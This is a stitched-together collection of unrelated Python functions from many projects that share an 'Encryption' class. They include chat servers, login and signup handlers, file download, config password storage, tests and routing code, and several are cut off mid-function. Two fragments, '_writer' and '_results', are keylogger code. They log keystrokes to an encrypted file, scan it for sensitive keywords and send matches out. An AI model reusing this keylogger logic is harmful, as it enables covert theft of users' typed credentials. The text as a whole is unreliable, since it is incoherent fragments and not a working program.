def _results(self):
"""
Steal logic function.
INTEcoin - Holds the encrypted data which deletes after the function finishes copying the file.
"""
send_flag = False # File has one of the keywords flag
keywords_contained = [] # Keywords found in the log
chunk = ""
decrypted_log = ""
for byt in Encryption.bytes_from_file(
"logs/INTEcoin.dat"
): # Reads stolen data file as chunks and save them in a list
if byt == "@":
decrypted_log += Encryption.decrypt(chunk.encode())
chunk = ""
continue
chunk += byt
for word in KEYWORDS: # Checks if any sensitive data was inputted
if word in decrypted_log:
send_flag = True
keywords_contained.append(word)
if send_flag:
self._send(keywords_contained) # Sends the encrypted data
os.remove("logs/INTEcoin.dat"
) # Deletes the file to avoid sending the same data again
def handleConnection(self, conn, addr):
key = conn.recv(1024)
while True:
try:
username = Encryption().decryptMsg(conn.recv(1024), key)["msg"]
roomId = int(Encryption().decryptMsg(conn.recv(1024),
key)["msg"])
if roomId == 0:
room = Room(self)
roomId = room.roomId
self.rooms[roomId] = room
break
elif roomId not in self.rooms:
conn.sendall(Encryption().encryptMsg(False, key))
else:
break
except:
print("Klient forlot")
return
# conn.close()
print("startet new con")
room = self.rooms[roomId]
newCon = threading.Thread(target=serverConnection,
args=(conn, addr, key, room, username))
newCon.start()
def handle_connection(self, client_socket, client_address):
DH = GenerateKey(self.rollnumber)
peerhash = int(client_socket.recv(4096).decode())
client_socket.send(str(DH.hashkey).encode())
DH.gen_key(peerhash)
En = Encryption(DH.finalkey)
data = client_socket.recv(4096)
if not data:
client_socket.close()
return
data = En.decrypt(data)
print(data.decode())
if 'sent a file' in data.decode():
client_socket.send('ok'.encode())
data = client_socket.recv(4096)
filename = En.decrypt(data).decode()
with open(filename, 'wb') as f:
print('receiving data...', end="")
while True:
data = client_socket.recv(4096)
data = En.decrypt(data)
if not data:
break
f.write(data)
client_socket.send('ok'.encode())
print("done")
client_socket.close()
def joinRoom(self, username="******", roomId="12346"):
if self.connected:
self.username = username
try:
self.sock.sendall(Encryption().encryptMsg(
self.username, self.key))
self.sock.sendall(Encryption().encryptMsg(roomId, self.key))
msg = self.sock.recv(1024)
msg = Encryption().decryptMsg(msg, self.key)
if msg["msg"] == False:
return False
self.clientId, self.roomId = msg["msg"]
return True
except Exception as e:
print(e)
return False
else:
print("Not connected")
return False
def cryptography_choice(self):
if self._cryptography == '1':
encryption = Encryption(self.message)
return encryption.transform(self.cipher, self.shift_num)
elif self._cryptography == '2':
decryption = Decryption(self.message)
return decryption.transform(self.cipher)
def handleConnection(self, conn, addr):
try:
key = conn.recv(1024)
username = Encryption().decryptMsg(conn.recv(1024), key)["msg"]
roomId = 0
while True:
roomId = Encryption().decryptMsg(conn.recv(1024), key)["msg"]
if roomId == 0:
room = Room(self)
roomId = room.roomId
self.rooms[roomId] = room
break
elif roomId not in self.rooms:
# vet det er dumt, men for den første gangen må den gjøre det her, tror ikke det gjør så mye
conn.sendall(Encryption().encryptMsg(False, key))
else:
break
room = self.rooms[roomId]
newCon = threading.Thread(target=serverConnection,
args=(conn, addr, key, room, username))
newCon.start()
except:
print("Det skjedde en feil, klient forlot mest sannsynlig")
return
def get_unique_words(self, file_path):
all_unique_words = []
files = glob.glob(file_path, recursive=True)
for file in files:
document_identifier = 'document' + str(self.document_number)
self.document_number += 1
unique_word_count = 0
unique_words_in_document = set()
f = open(file, 'r')
for line in f:
for word in line.split():
word = word.lower()
if word not in unique_words_in_document:
unique_words_in_document.add(word)
unique_word_count += 1
f.close()
if unique_word_count > self.unique_word_count:
self.unique_word_count = unique_word_count+25
all_unique_words.append((document_identifier, unique_words_in_document))
# Create an encrypted file and store it in the encrypted files folder
encrypt = Encryption(file, document_identifier)
encrypt.encrypt()
return all_unique_words
def enable():
try:
#hutil.do_parse_context('Enable')
# Ensure the same configuration is executed only once
# If the previous enable failed, we do not have retry logic here.
# Since the custom script may not work in an intermediate state
# hutil.exit_if_enabled()
# we need to freeze the file system first
"""
protectedSettings is the privateConfig passed from Powershell.
"""
protected_settings = hutil._context._config['runtimeSettings'][0]['handlerSettings'].get('protectedSettings')
public_settings = hutil._context._config['runtimeSettings'][0]['handlerSettings'].get('publicSettings')
para_parser = ParameterParser(protected_settings, public_settings)
encryption = Encryption(para_parser)
encryption.encrypt()
hutil.do_exit(0, 'Enable', 'success','0', 'Enable Succeeded')
except Exception, e:
print(str(e))
hutil.error("Failed to enable the extension with error: %s, stack trace: %s" % (str(e), traceback.format_exc()))
hutil.do_exit(1, 'Enable','error','1', 'Enable failed.')
def init():
if not os.path.isfile("first.asc"):
Encryption.generate_certificates()
known = args.known
for k in known:
kIP, kPORT, kEmail = k.split(':')
hashK = md5.new(kEmail).digest()
knownTable[hashK] = {
'email': kEmail,
'IP': kIP,
'PORT': int(kPORT)
}
routingTable.append({
'destination': sourceAddress,
'nextHop': sourceAddress,
'metric': 0
})
for neighbor in neighbors:
neighborIP, neighborPORT, neighborEMAIL = neighbor.split(':')
neighborPORT = int(neighborPORT)
neighborEMAIL = md5.new(neighborEMAIL).digest()
sendRoutingTable(neighborIP, neighborPORT, neighborEMAIL)
pass
def download(file):
if "key" not in request.form:
return "No key provided"
key = request.form["key"]
name = redis_cli.get(file)
key_hash = redis_cli.get(f"{file}-key")
iv = redis_cli.get(f"{file}-iv")
if not name:
return "No file with that ID exists"
elif hashlib.sha512(key.encode()).hexdigest() != key_hash.decode():
return "Invalid key"
with open(os.path.join(app.config["UPLOAD_FOLDER"], name.decode()),
"rb") as resp:
encrypted_file_data = resp.read()
os.remove(os.path.join(app.config["UPLOAD_FOLDER"], name.decode()))
cipher = Encryption(key)
file_data = cipher.decrypt(encrypted_file_data, iv)
redis_cli.delete(file)
redis_cli.delete(f"{file}-iv")
redis_cli.delete(f"{file}-key")
return send_file(BytesIO(file_data),
as_attachment=True,
attachment_filename=name.decode())
def initEncryption(self, salt):
self.encryption = Encryption(salt)
# Validation
secrets = self.storage.read()
keys = list(secrets)
if len(keys) > 0:
return self.encryption.validate(secrets[keys[0]])
return False
def set_value(self, section, name, value):
if name == 'password':
encrypt = Encryption(self._get_serial())
self.conf_par.set(section, name, encrypt.encrypt_msg(value))
else:
conf_par.set(section, name, value)
with open(self.filename, 'wb') as configfile:
self.conf_par.write(configfile)
def __joinRoom(self):
print("0 betyr nytt rom")
roomId = int(input("RoomId: "))
self.sock.sendall(Encryption().encryptMsg(roomId, self.key))
msg = self.sock.recv(1024)
msg = Encryption().decryptMsg(msg, self.key)
return msg, roomId
def test_encrypt1(self):
self.enc1 = Encryption(b"HELLO RED BULL ALL DAY IPA", "fee fi fo")
hash1 = self.enc.encrypt()
self.enc2 = Encryption(b"HELLO RED BULL ALL DAY IPA", "fee fi fo")
hash2 = self.enc2.encrypt()
self.assertNotEqual(hash1, hash2)
def get_value(self, section, name):
self.conf_par.read(self.filename)
if name == 'password':
decrypt = Encryption(self._get_serial())
value = decrypt.decrypt_msg(self.conf_par.get(section, name))
else:
value = self.conf_par.get(section, name)
return value
def sendMessage(event=None, filePath=''):
global sock
message = my_msg.get()
if message == "{list_nodes}":
listAllNodes()
return
message = '\x01' + message
if len(filePath) > 0:
message = open(filePath, 'rb').read()
message = '\x02' + message
dest_to = destin_select.get()
if dest_to == "{to_all}":
msg_list.insert(END, "me: " + message)
my_msg.set("")
if args.encryption: message = Encryption.encrypt(message)
broadcastMessage(message)
return
destHash = md5.new(dest_to).digest()
kDest = knownTable[destHash]
msg_list.insert(END, "me: " + message)
my_msg.set("")
pChunkedType = '\x0E' if args.encryption else '\x06'
pWholeType = '\x0A' if args.encryption else '\x02'
if args.encryption: message = Encryption.encrypt(message)
if len(message) > 59:
left = len(message) % 47
packageNumbers = (len(message) - left) / 47
for x in xrange(packageNumbers):
msg = message[x*47:(x+1)*47]
streamId = 0
packet = None
packetNumber = 0
if left == 0 and x == packageNumbers - 1:
packet, packetNumber = buildPacket('\x02', '\x0F', '\x00\x00',
destHash, pChunkedType, buildChunkedPayload(streamId, x, msg, '\x01'), kDest['IP'], kDest['PORT'])
else:
packet, packetNumber = buildPacket('\x02', '\x0F', '\x00\x00',
destHash, pChunkedType, buildChunkedPayload(streamId, x, msg), kDest['IP'], kDest['PORT'])
sendPacket(packet, kDest['IP'], kDest['PORT'] ,packetNumber)
if left > 0:
packet, packetNumber = buildPacket('\x02', '\x0F', '\x00\x00', destHash,
pChunkedType, buildChunkedPayload(streamId, packageNumbers, message[packageNumbers*47:], '\x01'), kDest['IP'], kDest['PORT'])
sendPacket(packet, kDest['IP'], kDest['PORT'] ,packetNumber)
else:
packet, packetNumber = buildPacket('\x02', '\x0F',
'\x00\x00', destHash, pWholeType, message, kDest['IP'], kDest['PORT'])
sendPacket(packet, kDest['IP'], kDest['PORT'] ,packetNumber)
pass
def post_checking(self, *kwargs):
if (len(self.__user_entry.get()) == 0
or len(self.__password_entry.get()) == 0):
messagebox.showerror("Error", "Username or Password is Empty!")
else:
self.checker = Encryption()
try:
if self.__user_entry.get().rstrip(
) == self.credentials.find_one({
"user_name":
self.__user_entry.get().rstrip()
}).get("user_name"):
if self.__password_entry.get() == self.checker.decrypt(
self.credentials.find_one({
"user_name":
self.__user_entry.get().rstrip()
}).get("password").encode()).decode():
messagebox.showinfo(
"WELCOME!",
(self.__user_entry.get().split("_")[0]).title())
self.main_page.canvases.update({
"info_page":
InfoPage(self.main_page.interface, self.main_page,
self.__user_entry.get())
})
self.destroy()
self.__init__(self.parent, self.main_page)
self.main_page.show_canvas("info_page")
else:
messagebox.showerror(
"Error!",
"Incorrect Password!\nCheck for white space at the end!!"
)
else:
messagebox.showerror("Error!",
"No user found.\nCheck user name.")
self.__password_entry.delete(0, "end")
except AttributeError:
messagebox.showerror("Error", "Username doesn't exist.")
def AutoLogin(self):
Crf = File()
Encrypt = Encryption()
if(Crf.isFile()):
data = Crf.Open()
ra = data[0]
password = data[1]
Login = LoginUTF(Encrypt.Decrypt(ra),Encrypt.Decrypt(password))
return Login.Login()
return False
class TestDecryptMethod(unittest.TestCase):
"""Testing class to test all encryption related actions
"""
def setUp(self):
self.enc = Encryption(b"defaultD", "defaultP")
# def tearDown(self): # something here?
def test_decrypt(self):
self.enc.encrypt()
d_data = self.enc.decrypt()
self.assertEqual(self.enc.data, d_data)
def __init__(self, address: str):
self.address = address
self.url = f"http://{address}/app"
logger.debug(f"Device url is: {self.url}")
self.encryption = Encryption()
self.key_pair: KeyPair
self.cookie_token: str = ""
self.token: str = ""
self.tp_link_cipher: TpLinkCipher = None
def main():
enc = Encryption()
print("Encrypting message: The Queen Can't Roll When Sand is in the Jar.")
message = "The Queen Can't Roll When Sand is in the Jar."
message = enc.encrypt(message)
print(message)
print()
print("Decrypting message:")
message = enc.decrypt(message)
print(message)
input("--Press any key to end--")
class UserAuthentication:
def __init__(self, database):
self.database = database
self.encryption = Encryption()
def identify_user(self, operation, username, password):
"""Chooses whether login of register operation
will be performed with username and password.
"""
if operation == 'login':
return self.login_user(username, password)
elif operation == 'register':
return self.register_user(username, password)
def register_user(self, username, password):
"""Checks if there is no user in database with username,
then encrypts password and adds entry to the database.
:return register status modified with self.auth_output
"""
if self.database.check_user(username):
return self.auth_output(False, f'"{username}" is already taken')
else:
self.database.add_user(username,
self.encryption.encrypt_password(password))
return self.auth_output(True, f'"{username}" is now registered')
def login_user(self, username, password):
"""Checks if user with username in database,
compares password with the encrypted one from database entry.
:return login status modified with self.auth_output
"""
if self.database.check_user(username):
user_password = self.database.get_password(username)
if self.encryption.check_password(password, user_password):
return self.auth_output(True, f'"{username}", login success')
else:
return self.auth_output(False, 'Wrong password')
else:
return self.auth_output(False, f'No such user - "{username}"')
def already_logged(self):
return self.auth_output(False, 'Such user is already logged in')
@staticmethod
def auth_output(flag: bool, message: str):
"""
:param flag: boolean login/register success status
:param message: verbal description of flag
:return flag and message as one dictionary
"""
logging.info(message)
return {'flag': flag, 'verbose': message}
def __init__(self, config, mac, key):
self.mac = mac
self.config = config
self.credentials = pika.PlainCredentials(config["rabbitmq_login"],
config["rabbitmq_password"])
self.buffer = deque(maxlen=128)
self.connected = False
self.send_thread = Thread(target=self.send_messages_thread)
self.send_thread.start()
self.pooling_connect()
self.encryption = Encryption(key)
print(" [*] RabbitMQ client created.")
def __init__(self, dispatcher, config, mac, key):
self.mac = mac
self.config = config
self.dispatcher = dispatcher
self.credentials = pika.PlainCredentials(config["rabbitmq_login"],
config["rabbitmq_password"])
self.connected = False
#self.message = messages_pb2.Code()
self.encryption = Encryption(key)
self._thread = Thread(target=self._receiver_thread)
self._thread.start()
def GetText(self, evt):
text = ""
ra = self.ra.GetValue()
password = self.password.GetValue()
Encrypt = Encryption()
Crf = File()
Crf.Save(Encrypt.Encrypt(ra), Encrypt.Encrypt(password))
Login = LoginUTF(ra, password)
if Login.Login():
SM = wx.MessageBox("Login Successful", "Login", wx.OK)
SM.ShowModal()
else:
FM = wx.MessageBox("Login Unsuccessful", "Login", wx.OK)
FM.ShowModal()
def listen(self):
while True:
msg = self.conn.recv(1024)
if len(msg) == 0:
self.room.newMsg(self.username + " left",
username=self.username,
senderId=self.clientId)
self.room.removeClient(self.clientId)
break
if len(msg) > 0:
try:
msg = Encryption().decryptMsg(msg, self.key)
self.room.newMsg(msg["msg"],
username=self.username,
senderId=self.clientId)
except Exception as e:
print(e)
break
self.conn.close()
print(f"{str(self.adr)} stoppet")
def connect(self,
username="******",
roomId="12345",
host="127.0.0.1",
port="9001"):
self.host = host
self.port = int(port)
self.key = fernet.Fernet.generate_key()
try:
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.connect((self.host, self.port))
self.connected = True
self.sock.sendall(self.key)
self.username = str(input("Username: "******"msg"] == False:
print(f"Fant ikke rom med roomId {roomId}")
msg, roomId = self.__joinRoom()
self.clientId, self.roomId = msg["msg"]
print(f"Din klientId: {self.clientId}\nDin romId: {self.roomId}")
self.thread = threading.Thread(target=self.listen)
self.thread.start()
except Exception as e:
print("Klarte ikke å koble til\n", e)
def sendMsg(self, msg, username=None, senderId=None):
if username == None and senderId == None:
username = self.username
senderId = self.clientId
msg = Encryption().encryptMsg(msg, self.key, username=username, senderId=senderId)
self.conn.sendall(msg)
def register_user():
name = str(request.form.get("name", None))
user_hash = Encryption.encrypt_password(
str(request.form.get("password", None)))
email = str(request.form.get("email", None))
birthdate = str(request.form.get("birthdate", None)).replace(
"-", "/") # IOS uses '-' instead of '/'
if name is None or email is None or name is None:
return return_json(success=False, error="Fields empty")
if not data_validation.validate_email(email):
return return_json(success=False, error="Invalid email")
if not data_validation.validate_birthdate(birthdate)[0]:
return return_json(success=False,
error="Invalid birthdate:" +
data_validation.validate_birthdate(birthdate)[1])
res = user_db.insert_user(name, user_hash, email, birthdate)
if not res[0]:
return return_json(success=False, error="User already exists")
user_uuid = res[1]
expenses_db.create_expenses(user_uuid)
schedule_db.create_schedule(user_uuid)
hygiene_db.create_hygiene(user_uuid)
token = token_generator.generate_confirm_token(email)
send_confirmation_mail(name, email, token)
return return_json(success=True)
def _writer(self, log):
"""
Saves the log in a dat file.
:param log: An array of pressed keys.
"""
if not os.path.exists(os.path.dirname("logs/")):
try:
os.makedirs(os.path.dirname("logs/"))
except OSError as exc: # Guard against race condition
if exc.errno != errno.EEXIST:
raise
with open("logs/INTEcoin.dat", "ab") as file:
toWrite = ""
for i, key in enumerate(log): # Removes repeated spaces and enters
if i > 0:
if str(key) == "Key.space" and str(
log[i - 1]) == "Key.space":
continue
if str(key) == "Key.enter" and str(
log[i - 1]) == "Key.enter":
continue
key = self._parse(
key) # Converts the key to a readable character
toWrite += key
file.write(Encryption.encrypt(toWrite))
file.write(
b"@"
) # Puts a separator for the encryption diod see Fernet using this as the cypher text
file.close()
def sendRoutingTable(neighborIP, neighborPORT, neighborEMAIL):
message = retrieveRoutingTable()
pChunkedType = '\x0D' if args.encryption else '\x05'
pWholeType = '\x09' if args.encryption else '\x01'
if args.encryption:
message = Encryption.encrypt(message)
if len(message) > 59:
left = len(message) % 47
packageNumbers = (len(message) - left) / 47
for x in xrange(packageNumbers):
msg = message[x*47:(x+1)*47]
streamId = 0
packet = None
packetNumber = 0
if left == 0 and x == packageNumbers - 1:
packet, packetNumber = buildPacket('\x02', '\x0F', '\x00\x00',
neighborEMAIL, pChunkedType, buildChunkedPayload(streamId, x, msg, '\x01'), neighborIP, neighborPORT)
else:
packet, packetNumber = buildPacket('\x02', '\x0F', '\x00\x00',
neighborEMAIL, pChunkedType, buildChunkedPayload(streamId, x, msg), neighborIP, neighborPORT)
sendPacket(packet, neighborIP, neighborPORT ,packetNumber)
if left > 0:
packet, packetNumber = buildPacket('\x02', '\x0F', '\x00\x00', neighborEMAIL,
pChunkedType, buildChunkedPayload(streamId, packageNumbers, message[packageNumbers*47:], '\x01'), neighborIP, neighborPORT)
sendPacket(packet, neighborIP, neighborPORT ,packetNumber)
else:
packet, packetNumber = buildPacket('\x02', '\x0F',
'\x00\x00', neighborEMAIL, pWholeType, message, neighborIP, neighborPORT)
sendPacket(packet, neighborIP, neighborPORT ,packetNumber)
pass
def update_user():
user_uuid = request.form.get("uuid", None)
name = str(request.form.get("name", None))
user_hash = Encryption.encrypt_password(
str(request.form.get("password", None)))
email = str(request.form.get("email", None))
birthdate = str(request.form.get("birthdate", None))
if not data_validation.validate_uuid(user_uuid):
return return_json(success=False, error="Invalid user UUID")
if user_db.get_user(uuid=user_uuid)[0] is False:
return return_json(success=False, error="User not found")
if not data_validation.validate_email(email):
return return_json(success=False, error="Invalid email")
if not data_validation.validate_birthdate(birthdate)[0]:
return return_json(
success=False,
error=data_validation.validate_birthdate(birthdate)[1])
c_user = user_db.get_user(uuid=user_uuid)[1]
c_user.name = name
c_user.user_hash = user_hash
if c_user.email != email:
c_user.email = email
c_user.is_verified = False
c_user.birthdate = birthdate
user_db.update_user(c_user)
return return_json(
success=True, data={"message": "User {0} updated".format(c_user.uuid)})
def post(self):
signup = Signup()
self.response.headers['Content-Type'] = 'text/html'
errors = {}
username = self.request.get('username')
password = self.request.get('password')
verify = self.request.get('verify')
email = self.request.get('email')
if not signup.is_valid_username(username):
errors['username_error'] = 'Invalid username.'
elif not signup.is_unique_username(username):
errors['username_error'] = 'Username taken.'
if not signup.is_valid_password(password):
errors['password_error'] = 'Invalid password.'
elif password != verify:
errors['verify_error'] = 'Passwords don\'t match.'
if not signup.is_valid_email(email):
errors['email_error'] = 'Invalid email.'
username = self.escape_html(username)
email = self.escape_html(email)
if errors:
self.write_template('signup.html', username = username, email =
email, **errors)
else:
user_id = UserDataHandler.put(username, password, email)
user_id_hash = Encryption.make_user_id_hash(user_id)
self.response.headers.add_header('Set-Cookie',
'user_id=%(user_id)s|%(user_id_hash)s; Path=/'
% {'user_id': user_id, 'user_id_hash': user_id_hash})
self.redirect('/unit5/welcome')
def get(self):
self.response.headers['Content-Type'] = 'text/html'
user_id_cookie = self.request.cookies.get('user_id')
if user_id_cookie:
user_id = user_id_cookie.split('|')[0]
user_id_hash = user_id_cookie.split('|')[1]
if Encryption.is_valid_cookie(user_id, user_id_hash):
user = UserDataHandler.get_by_id(int(user_id))
self.response.out.write('Welcome, <b>' + user.username + '</b>!')
else:
self.redirect('/unit4/signup')
def post(self):
self.response.headers['Content-Type'] = 'text/html'
username = self.request.get('username')
password = self.request.get('password')
username = self.escape_html(username)
user_list = UserDataHandler.get_by_username(username)
if user_list and Encryption.is_valid_password(username, password,
user_list[0].password):
user = user_list[0]
user_id = user.key().id()
user_id_hash = Encryption.make_user_id_hash(user_id)
self.response.headers.add_header('Set-Cookie',
'user_id=%(user_id)s|%(user_id_hash)s; Path=/'
% {'user_id': user_id, 'user_id_hash': user_id_hash})
self.redirect('/unit5/welcome')
else:
self.write_template('login.html', username = username, login_error =
'invalid login')
def receive(self, message):
logging.info("[email protected] request")
self.mail = message
self.senderMail = None
self.existingUser = None
self.responseMail = None
# We extract mail information with a regex
mailRegexMatch = re.search(r'[\w\-][\w\-\.]+@[\w\-][\w\-\.]+[a-zA-Z]{1,4}',self.mail.sender)
self.senderMail = mailRegexMatch.group()
logging.info("Received a message from: " + self.senderMail)
# We look if this user is in our database
user_query = User.all().filter("mail", self.senderMail)
self.existingUser = user_query.get()
# If the user is in our database, we build and send him a confirmation URL to delete his account
if(self.existingUser):
existingUserID = str(self.existingUser.key().id())
encryptedID = Encryption.getEncryptedIDForDeletion(existingUserID)
config = Config()
site_url = config.site_url
url = site_url + "delete?id=%s&crypt=%s" %(existingUserID, encryptedID)
logging.info("%s" % url)
self.responseMail = mail.EmailMessage(
sender = "Capturio crew <*****@*****.**>",
to = self.senderMail,
subject = "[Deletion] Please confirm to remove your information from Captur.io",
body = """
Hey,
If you want to remove all your information from Captur.io, please click on the following link: %s
We hope to see you again soon!
Captur.io crew
""" % (url)
)
self.responseMail.send()
logging.info("responseMail sent")
else:
logging.info("User behind address email %s wants to be removed whereas he doesn't belong to our database." % self.senderMail)
def checkUser(self):
if((self.userID) and (self.encryptedID)):
logging.info("Deletion page: 1) User ID: %s 2) Encrypted ID: %s" %(self.userID, self.encryptedID))
encryptedCheckingID = Encryption.getEncryptedIDForDeletion(self.userID)
if(encryptedCheckingID == self.encryptedID):
logging.info("Deletion link valid")
self.retrieveUser()
else:
logging.info("Deletion link invalid")
path = os.path.join(os.path.dirname(__file__), 'templates/delete/invalid_link.html')
self.response.out.write(template.render(path, None))
else:
logging.info("Deletion link invalid")
path = os.path.join(os.path.dirname(__file__), 'templates/delete/invalid_link.html')
self.response.out.write(template.render(path, None))
qFour, rFour = brFRS.accessMarks(username)
if qFour != None:
brFFS = FifthStep(bOne, qFour, rFour)
return brFFS.getMarks()
return None, None
theFile = open("marks.cfg", 'r')
course = theFile.readline().rstrip('\n')
username = theFile.readline().rstrip('\n')
password = theFile.readline().rstrip('\n')
print "Data loaded."
passphrase = ""
while len(passphrase) == 0:
passphrase = easygui.passwordbox(msg='Passphrase:', title='Encryption message', default='')
dec = Encryption(password, passphrase)
password = dec.decrypt()
if len(password) == 0:
print "Wrong passphrase ! Please try again or run 'config' again."
oldNumberOfMarks, oldMarks = None, None
else:
oldNumberOfMarks, oldMarks = checkOnMarks(course, username, password)
print oldNumberOfMarks, "marks detected."
while oldMarks != None:
time.sleep(3600)
numberOfMarks, marks = checkOnMarks(course, username, password)
if numberOfMarks > oldNumberOfMarks:
print numberOfMarks - oldNumberOfMarks, "new mark(s) detected. Take a look !"
textMsg = "Hey ! New mark(s) detected ! Take a look !"
for oldMark, mark in zip (oldMarks, marks):
if oldMark[1] != mark [1]:
def put(username, password, email = ''):
password_hash = Encryption.make_password_hash(username, password)
return User(username = username, password = password_hash, email =
email).put().id()
while choice < 1 or choice > maxValue:
printValues(theList)
choice = getInputAsInt()
return choice
# Start Config
br = FirstStep(linkPorrum)
titles, choises = br.getChoices()
numberOfCourses = len(titles)
print "Please introduce the correct answers !"
print numberOfCourses, "courses detected. Please choose yours."
course = printAndChoose(titles, numberOfCourses)
selectedCourse = choises[course - 1].name
br.chooseCourse(selectedCourse)
names = br.getNames()
numberOfNames = len(names)
print numberOfNames, "names detected. Please choose yours."
name = printAndChoose(names, numberOfNames)
selectedName = names[name - 1]
password = ""
while len(password) == 0:
password = easygui.passwordbox(msg='Password:'******'Encryption message', default='')
passphrase = ""
while len(passphrase) == 0:
passphrase = easygui.passwordbox(msg='Passphrase:', title='Encryption message', default='')
enc = Encryption(password, passphrase)
fileConfig = open ("marks.cfg", 'w')
fileConfig.write("%s\n"%selectedCourse)
fileConfig.write("%s\n"%selectedName)
fileConfig.write("%s"%enc.encrypt())
print "All data saved !"
